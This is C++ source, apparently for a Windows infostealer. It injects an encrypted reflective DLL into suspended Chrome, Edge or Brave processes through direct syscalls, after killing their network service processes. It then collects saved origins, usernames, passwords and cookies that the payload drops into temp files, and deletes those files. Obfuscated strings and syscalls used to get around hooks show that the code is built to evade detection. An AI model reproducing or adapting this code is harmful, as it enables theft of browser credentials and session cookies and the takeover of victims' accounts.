#include "Fokos.h" #include #include #include #include #include #include "Encrypt.h" #include #include #include #include #include #include #include #include "nlohmann/json.hpp" #include // for std::ifstream #include // for std::vector #include #include #include "BRSHt/syscalls.h" #pragma comment(lib, "Rpcrt4.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "version.lib") #pragma comment(lib, "user32.lib") using json = nlohmann::json; #ifndef IMAGE_FILE_MACHINE_AMD64 #define IMAGE_FILE_MACHINE_AMD64 0x8664 #endif #ifndef IMAGE_FILE_MACHINE_ARM64 #define IMAGE_FILE_MACHINE_ARM64 0xAA64 #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif namespace { constexpr DWORD DLL_COMPLETION_TIMEOUT_MS = 60000; const uint8_t g_decryptionKey[32] = { 0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D, 0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46, 0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95, 0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94 }; const uint8_t g_decryptionNonce[12] = { 0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54, 0x88, 0xE5, 0x3C, 0x50 }; namespace fs = std::filesystem; struct HandleDeleter { void operator()(HANDLE h) const { if (h && h != INVALID_HANDLE_VALUE) CloseHandle(h); } }; using UniqueHandle = std::unique_ptr; namespace Utils { std::string WStringToUtf8(std::wstring_view w_sv) { if (w_sv.empty()) return {}; int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), nullptr, 0, nullptr, nullptr); std::string utf8_str(size_needed, '\0'); WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), &utf8_str[0], size_needed, nullptr, nullptr); return utf8_str; } std::string PtrToHexStr(const void* ptr) { std::ostringstream oss; oss << EC("0x") << std::hex << reinterpret_cast(ptr); return oss.str(); } std::string NtStatusToString(NTSTATUS status) { std::ostringstream oss; oss << EC("0x") << std::hex << status; return oss.str(); } std::wstring GenerateUniquePipeName() { UUID uuid; UuidCreate(&uuid); wchar_t* uuidStrRaw = nullptr; UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); std::wstring pipeName = EC(L"\\\\.\\pipe\\") + std::wstring(uuidStrRaw); RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); return pipeName; } } } std::string Nemmmmy; void DecryptString(std::string& data, BYTE key) { for (size_t i = 0; i < data.size(); i++) data[i] ^= key; } // Load and decrypt data from file bool LoadDecryptedFromFile(std::string& outData, const std::string& filePath, BYTE key) { std::ifstream in(filePath, std::ios::binary); if (!in) return false; std::string encrypted((std::istreambuf_iterator(in)), std::istreambuf_iterator()); DecryptString(encrypted, key); outData = std::move(encrypted); return true; } class Console { public: explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) { CONSOLE_SCREEN_BUFFER_INFO consoleInfo; GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); m_originalAttributes = consoleInfo.wAttributes; } void displayBanner() const { } void printUsage() const { } void Info(const std::string& msg) const { print(EC("[*]"), msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } void Success(const std::string& msg) const { print(EC("[+]"), msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } void Error(const std::string& msg) const { print(EC("[-]"), msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } void Warn(const std::string& msg) const { print(EC("[!]"), msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } void Debug(const std::string& msg) const { print(EC("[#]"), msg, FOREGROUND_RED | FOREGROUND_GREEN); } void Relay(const std::string& message) const { size_t tagStart = message.find('['); size_t tagEnd = message.find(']', tagStart); if (tagStart != std::string::npos && tagEnd != std::string::npos) { std::cout << message.substr(0, tagStart); std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); WORD color = m_originalAttributes; if (tag == EC("[+]")) color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; else if (tag == EC("[-]")) color = FOREGROUND_RED | FOREGROUND_INTENSITY; else if (tag == EC("[*]")) color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; else if (tag == EC("[!]")) color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; SetColor(color); std::cout << tag; ResetColor(); std::cout << message.substr(tagEnd + 1) << std::endl; } else { std::cout << message << std::endl; } } private: void print(const std::string& tag, const std::string& msg, WORD color) const { SetColor(color); std::cout << tag; ResetColor(); std::cout << " " << msg << std::endl; } void SetColor(WORD attributes) const { SetConsoleTextAttribute(m_hConsole, attributes); } void ResetColor() const { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } bool m_verbose; HANDLE m_hConsole; WORD m_originalAttributes; }; struct Configuration { bool verbose = false; fs::path outputPath; std::wstring browserType; std::wstring browserProcessName; std::wstring browserDefaultExePath; std::string browserDisplayName; // Original function [[nodiscard]] static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console) { Configuration config; fs::path customOutputPath; for (int i = 1; i < argc; ++i) { std::wstring_view arg = argv[i]; if (arg == EC(L"--verbose") || arg == EC(L"-v")) config.verbose = true; else if ((arg == EC(L"--output-path") || arg == EC(L"-o")) && i + 1 < argc) customOutputPath = argv[++i]; else if (arg == EC(L"--help") || arg == EC(L"-h")) { console.printUsage(); return std::nullopt; } else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') config.browserType = arg; else { console.Warn(EC("Unknown or misplaced argument: ") + Utils::WStringToUtf8(arg)); return std::nullopt; } } if (config.browserType.empty()) { console.printUsage(); return std::nullopt; } std::transform(config.browserType.begin(), config.browserType.end(), config.browserType.begin(), ::towlower); static const std::map> browserMap = { {EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}}, {EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}}, {EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} }; auto it = browserMap.find(config.browserType); if (it == browserMap.end()) { console.Error(EC("Unsupported browser type: ") + Utils::WStringToUtf8(config.browserType)); return std::nullopt; } config.browserProcessName = it->second.first; config.browserDefaultExePath = it->second.second; std::string displayName = Utils::WStringToUtf8(config.browserType); if (!displayName.empty()) displayName[0] = static_cast(std::toupper(static_cast(displayName[0]))); config.browserDisplayName = displayName; config.outputPath = customOutputPath.empty() ? fs::current_path() / EC("output") : fs::absolute(customOutputPath); return config; } // New overload for simple browser string [[nodiscard]] static std::optional CreateFromArgs(const std::wstring& browser) { Configuration config; std::wstring browserType = browser; std::transform(browserType.begin(), browserType.end(), browserType.begin(), ::towlower); static const std::map> browserMap = { {EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}}, {EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}}, {EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} }; auto it = browserMap.find(browserType); if (it == browserMap.end()) { return std::nullopt; } config.browserType = browserType; config.browserProcessName = it->second.first; config.browserDefaultExePath = it->second.second; std::string displayName = Utils::WStringToUtf8(config.browserType); if (!displayName.empty()) displayName[0] = static_cast(std::toupper(static_cast(displayName[0]))); config.browserDisplayName = displayName; config.outputPath = fs::current_path() / EC("output"); // default output path return config; } }; class TargetProcess { public: TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {} void createSuspended() { m_console.Info(EC("Creating suspended ") + m_config.browserDisplayName + EC(" process.")); m_console.Debug(EC("Target executable path: ") + Utils::WStringToUtf8(m_config.browserDefaultExePath)); STARTUPINFOW si{}; PROCESS_INFORMATION pi{}; si.cb = sizeof(si); if (!CreateProcessW( m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) { } m_hProcess.reset(pi.hProcess); m_hThread.reset(pi.hThread); m_pid = pi.dwProcessId; m_console.Success(EC("Created suspended process PID: ") + std::to_string(m_pid)); checkArchitecture(); } void terminate() { if (m_hProcess) { m_console.Debug(EC("Terminating browser PID=") + std::to_string(m_pid) + EC(" via direct syscall.")); NtTerminateProcess_syscall(m_hProcess.get(), 0); m_console.Info(m_config.browserDisplayName + EC(" terminated by injector.")); } } HANDLE getProcessHandle() const { return m_hProcess.get(); } USHORT getArch() const { return m_arch; } private: void checkArchitecture() { m_arch = IMAGE_FILE_MACHINE_AMD64; m_console.Debug(EC("Architecture match: Injector=, Target=") + std::string(getArchName(m_arch))); } const char* getArchName(USHORT arch) const { switch (arch) { case IMAGE_FILE_MACHINE_AMD64: return EC("x64"); case IMAGE_FILE_MACHINE_ARM64: return EC("ARM64"); case IMAGE_FILE_MACHINE_I386: return EC("x86"); default: return EC("Unknown"); } } const Configuration& m_config; const Console& m_console; DWORD m_pid = 0; UniqueHandle m_hProcess; UniqueHandle m_hThread; USHORT m_arch = 0; }; std::string GetTempPathStr() { char buf[MAX_PATH]; DWORD len = GetTempPathA(MAX_PATH, buf); return std::string(buf, len); } class PipeCommunicator { public: PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {} void create() { m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 4096, 4096, 0, nullptr)); if (!m_pipeHandle) { } m_console.Debug(EC("Named pipe server created: ") + Utils::WStringToUtf8(m_pipeName)); } void waitForClient() { m_console.Debug(EC("Waiting for payload to connect to named pipe.")); BOOL connected = ConnectNamedPipe(m_pipeHandle.get(), nullptr); if (!connected) { DWORD err = GetLastError(); if (err == ERROR_PIPE_CONNECTED) { // The client connected before ConnectNamedPipe was called m_console.Debug(EC("Payload already connected to named pipe (ERROR_PIPE_CONNECTED).")); } else { // Something went wrong std::ostringstream oss; oss << "Failed to connect to named pipe. Error code: " << err; m_console.Debug(oss.str().c_str()); return; // optionally bail out } } m_console.Debug(EC("Payload connected to named pipe.")); } void sendInitialData(bool isVerbose, const fs::path& outputPath) { writeMessage(isVerbose ? EC("VERBOSE_TRUE") : EC("VERBOSE_FALSE")); writeMessage(outputPath.string()); } void relayMessages() { m_console.Info(EC("Waiting for payload execution. (Pipe: ") + Utils::WStringToUtf8(m_pipeName) + EC(")")); std::cout << std::endl; const std::string dllCompletionSignal = EC("__DLL_PIPE_COMPLETION_SIGNAL__"); DWORD startTime = GetTickCount(); std::string accumulatedData; char buffer[4096]; bool completed = false; while (!completed && (GetTickCount() - startTime < DLL_COMPLETION_TIMEOUT_MS)) { DWORD bytesAvailable = 0; if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) { if (GetLastError() == ERROR_BROKEN_PIPE) break; m_console.Error(EC("PeekNamedPipe failed. Error: ") + std::to_string(GetLastError())); break; } if (bytesAvailable == 0) { Sleep(100); continue; } DWORD bytesRead = 0; if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) { if (GetLastError() == ERROR_BROKEN_PIPE) break; continue; } accumulatedData.append(buffer, bytesRead); size_t messageStart = 0; size_t nullPos; while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) { std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); messageStart = nullPos + 1; if (message == dllCompletionSignal) { m_console.Debug(EC("Payload completion signal received.")); completed = true; break; } if (!message.empty()) { if (Nemmmmy.empty()) { if (message.find(EC("NUMMORO")) != std::string::npos) { Nemmmmy = message.substr(message.size() - 4); } else { m_console.Relay(message); } } else { m_console.Relay(message); } } } if (completed) break; accumulatedData.erase(0, messageStart); } std::cout << std::endl; m_console.Success(EC("Payload signaled completion or pipe interaction ended.")); } const std::wstring& getName() const { return m_pipeName; } private: void writeMessage(const std::string& msg) { DWORD bytesWritten = 0; if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || bytesWritten != (msg.length() + 1)) { } m_console.Debug(EC("Sent message to pipe: ") + msg); } std::wstring m_pipeName; const Console& m_console; UniqueHandle m_pipeHandle; }; class InjectionManager { public: InjectionManager(TargetProcess& target, const Console& console) : m_target(target), m_console(console) { } void execute(const std::wstring& pipeName, std::vector exxx) { m_decryptedDllPayload = std::move(exxx); m_console.Debug(EC("Parsing payload PE headers for ReflectiveLoader.")); DWORD rdiOffset = getReflectiveLoaderOffset(); m_console.Debug(EC("ReflectiveLoader found at file offset: ") + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); m_console.Debug(EC("Allocating memory for payload in target process.")); PVOID remoteDllBase = nullptr; SIZE_T payloadDllSize = m_decryptedDllPayload.size(); SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); SIZE_T totalAllocationSize = payloadDllSize + pipeNameByteSize; NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, 0, &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); m_console.Debug(EC("Combined memory for payload and parameters allocated at: ") + Utils::PtrToHexStr(remoteDllBase)); m_console.Debug(EC("Writing payload DLL to target process.")); SIZE_T bytesWritten = 0; status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteDllBase, m_decryptedDllPayload.data(), payloadDllSize, &bytesWritten); m_console.Debug(EC("Writing pipe name parameter into the same allocation.")); LPVOID remotePipeNameAddr = reinterpret_cast(remoteDllBase) + payloadDllSize; status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); m_console.Debug(EC("Changing payload memory protection to executable.")); ULONG oldProtect = 0; status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); startHijackedThreadInTarget(remoteDllBase, rdiOffset, remotePipeNameAddr); m_console.Success(EC("New thread created for payload. Main thread remains suspended.")); } private: DWORD getReflectiveLoaderOffset() { auto dosHeader = reinterpret_cast(m_decryptedDllPayload.data()); if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0; auto ntHeaders = reinterpret_cast((uintptr_t)m_decryptedDllPayload.data() + dosHeader->e_lfanew); if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return 0; auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (exportDirRva == 0) return 0; auto RvaToOffset = [&](DWORD rva) -> PVOID { PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) { if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) { return (PVOID)((uintptr_t)m_decryptedDllPayload.data() + section->PointerToRawData + (rva - section->VirtualAddress)); } } return nullptr; }; auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); if (!exportDir) return 0; auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); if (!names || !ordinals || !funcs) return 0; for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) { char* funcName = (char*)RvaToOffset(names[i]); if (funcName && strcmp(funcName, EC("ReflectiveLoader")) == 0) { PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); if (!funcOffsetPtr) return 0; return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_decryptedDllPayload.data()); } } return 0; } void startHijackedThreadInTarget(PVOID remoteDllBase, DWORD rdiOffset, PVOID remotePipeNameAddr) { m_console.Debug(EC("Creating new thread in target to execute ReflectiveLoader.")); uintptr_t entryPoint = reinterpret_cast(remoteDllBase) + rdiOffset; HANDLE hRemoteThread = nullptr; NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); UniqueHandle remoteThreadGuard(hRemoteThread); if (!NT_SUCCESS(status)) { } m_console.Debug(EC("Successfully created new thread for payload.")); } TargetProcess& m_target; const Console& m_console; std::vector m_decryptedDllPayload; }; void KillBrowserNetworkService(const Configuration& config, const Console& console) { console.Info(EC("Scanning for and terminating browser network services...")); UniqueHandle hCurrentProc; HANDLE nextProcHandle = nullptr; int processes_terminated = 0; while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &nextProcHandle))) { UniqueHandle hNextProc(nextProcHandle); hCurrentProc = std::move(hNextProc); std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); auto imageName = reinterpret_cast(buffer.data()); if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, imageName, (ULONG)buffer.size(), NULL)) || imageName->Length == 0) continue; fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) continue; PROCESS_BASIC_INFORMATION pbi{}; if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, &pbi, sizeof(pbi), nullptr)) || !pbi.PebBaseAddress) continue; PEB peb{}; if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) continue; RTL_USER_PROCESS_PARAMETERS params{}; if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) continue; std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); if (params.CommandLine.Length > 0 && !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, cmdLine.data(), params.CommandLine.Length, nullptr))) continue; if (wcsstr(cmdLine.data(), EC(L"--utility-sub-type=network.mojom.NetworkService"))) { console.Success(EC("Found and terminated network service PID: ") + std::to_string((DWORD)pbi.UniqueProcessId)); NtTerminateProcess_syscall(hCurrentProc.get(), 0); processes_terminated++; } } if (processes_terminated > 0) { console.Info(EC("Termination sweep complete. Waiting for file locks to fully release.")); Sleep(1500); } } void RunInjectionWorkflow(const Configuration& config, const Console& console, std::vector borr) { KillBrowserNetworkService(config, console); TargetProcess target(config, console); target.createSuspended(); PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); pipe.create(); InjectionManager injector(target, console); injector.execute(pipe.getName(), borr); pipe.waitForClient(); pipe.sendInitialData(config.verbose, config.outputPath); pipe.relayMessages(); target.terminate(); } std::string toString(const json& j) { if (j.is_string()) return j.get(); if (j.is_number()) return std::to_string(j.get()); if (j.is_boolean()) return j.get() ? EC("true") : EC("false"); if (j.is_null()) return EC(""); return ""; // fallback, or handle arrays/objects separately } void PassProcess(const std::string& path, std::vector>& Passeyy, std::string Nummy) { if (fs::exists(path)) { std::string decrypted; if (LoadDecryptedFromFile(decrypted, path, 0xAA)) { try { json j = json::parse(decrypted); std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n"); for (auto& item : j) { if (item.contains(EC("origin")) && item.contains(EC("username")) && item.contains(EC("password"))) { try { // Credentials format /*std::cout << EC("Origin: ") << item[EC("origin")] << EC("\n"); std::cout << EC("Username: ") << item[EC("username")] << EC("\n"); std::cout << EC("Password: ") << item[EC("password")] << EC("\n"); std::cout << EC("---------------------\n");*/ Passeyy.push_back({ toString(item[EC("origin")]), toString(item[EC("username")]), toString(item[EC("password")]), Nummy }); } catch (std::exception& e) { std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n"); continue; } } else { std::cout << item.dump(4) << EC("\n"); } } } catch (std::exception& e) { std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n"); } } else { std::cout << EC("Failed to decrypt: ") << path << EC("\n"); } // Delete file after processing std::error_code ec; fs::remove(path, ec); if (ec) { std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n"); } } } void CookieProcess(const std::string& path, std::vector>& Cookies, std::string Nummy) { if (fs::exists(path)) { std::string decrypted; std::cout << EC("Ck 1") << std::endl; if (LoadDecryptedFromFile(decrypted, path, 0xAA)) { try { std::cout << EC("Ck 2") << std::endl; json j = json::parse(decrypted); std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n"); for (auto& item : j) { if (item.contains(EC("host")) && item.contains(EC("name")) && item.contains(EC("value"))) { try { // Cookie format /*std::cout << EC("Host: ") << item[EC("host")] << EC("\n"); std::cout << EC("Name: ") << item[EC("name")] << EC("\n"); std::cout << EC("Value: ") << item[EC("value")] << EC("\n"); std::cout << EC("Path: ") << item[EC("path")] << EC("\n"); std::cout << EC("Secure: ") << item[EC("secure")] << EC("\n"); std::cout << EC("HttpOnly: ") << item[EC("httpOnly")] << EC("\n"); std::cout << EC("Expires: ") << item[EC("expires")] << EC("\n"); std::cout << EC("---------------------\n");*/ Cookies.push_back({ toString(item[EC("name")]), toString(item[EC("value")]), toString(item[EC("host")]), toString(item[EC("path")]), toString(item[EC("expires")]), Nummy }); } catch (std::exception& e) { std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n"); continue; } } else { std::cout << item.dump(4) << EC("\n"); } } } catch (std::exception& e) { std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n"); } } else { std::cout << EC("Failed to decrypt: ") << path << EC("\n"); } // Delete file after processing std::error_code ec; fs::remove(path, ec); if (ec) { std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n"); } } } bool IsBrowserInstalled(const std::wstring& regSubKey, const std::wstring& valueName) { HKEY hKey; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS && RegOpenKeyExW(HKEY_CURRENT_USER, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) { return false; } wchar_t path[MAX_PATH]; DWORD pathSize = sizeof(path); LONG result = RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr, reinterpret_cast(path), &pathSize); RegCloseKey(hKey); return (result == ERROR_SUCCESS && wcslen(path) > 0); } bool HasChrome() { return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"), EC(L"")); } bool HasBrave() { return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe"), EC(L"")); } // Function definition void Moain(std::vector bayyat, std::vector>& Cookies, std::vector>& Passeyy) { Console console(false); if (!InitializeSyscalls(false)) { console.Error(EC("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found.")); } std::string Temppp = GetTempPathStr(); std::string ChromeCookiePath = Temppp + EC("chc11"); std::string ChromePassPath = Temppp + EC("cps11"); std::string EdgeCookiePath = Temppp + EC("eck11"); std::string EdgePassPath = Temppp + EC("eps11"); std::string BraveCookiePath = Temppp + EC("bccb11"); std::string BravePassPath = Temppp + EC("bppb11"); std::vector> CookiesTepo; std::vector> PasswordsTepo; if (HasChrome()) { printf(EC("In Chrome")); auto optConfig = Configuration::CreateFromArgs(EC(L"chrome")); try { RunInjectionWorkflow(*optConfig, console, bayyat); } catch (const std::runtime_error& e) { console.Error(e.what()); } Sleep(250); CookieProcess(ChromeCookiePath, CookiesTepo, EC("1")); PassProcess(ChromePassPath, PasswordsTepo, EC("1")); Cookies = CookiesTepo; Passeyy = PasswordsTepo; } printf(EC("In Edge")); auto optConfig2 = Configuration::CreateFromArgs(EC(L"edge")); try { RunInjectionWorkflow(*optConfig2, console, bayyat); } catch (const std::runtime_error& e) { console.Error(e.what()); } Sleep(250); //CookieProcess(EdgeCookiePath, CookiesTepo, EC("2")); if (fs::exists(EdgeCookiePath)) { std::error_code eced; fs::remove(EdgeCookiePath, eced); if (eced) { std::cerr << EC("Failed to delete: ") << EdgeCookiePath << EC(" (") << eced.message() << EC(")\n"); } } PassProcess(EdgePassPath, PasswordsTepo, EC("2")); Cookies = CookiesTepo; Passeyy = PasswordsTepo; if (HasBrave()) { printf(EC("In Brave")); auto optConfig3 = Configuration::CreateFromArgs(EC(L"brave")); try { RunInjectionWorkflow(*optConfig3, console, bayyat); } catch (const std::runtime_error& e) { std::cout << EC("Error during injection: ") << e.what() << EC("\n"); } Sleep(250); //CookieProcess(BraveCookiePath, CookiesTepo, EC("3")); if (fs::exists(BraveCookiePath)) { std::error_code eceb; fs::remove(BraveCookiePath, eceb); if (eceb) { std::cerr << EC("Failed to delete: ") << BraveCookiePath << EC(" (") << eceb.message() << EC(")\n"); } } PassProcess(BravePassPath, PasswordsTepo, EC("3")); Cookies = CookiesTepo; Passeyy = PasswordsTepo; } CookiesTepo.clear(); PasswordsTepo.clear(); printf(EC("Injector finished successfully.")); }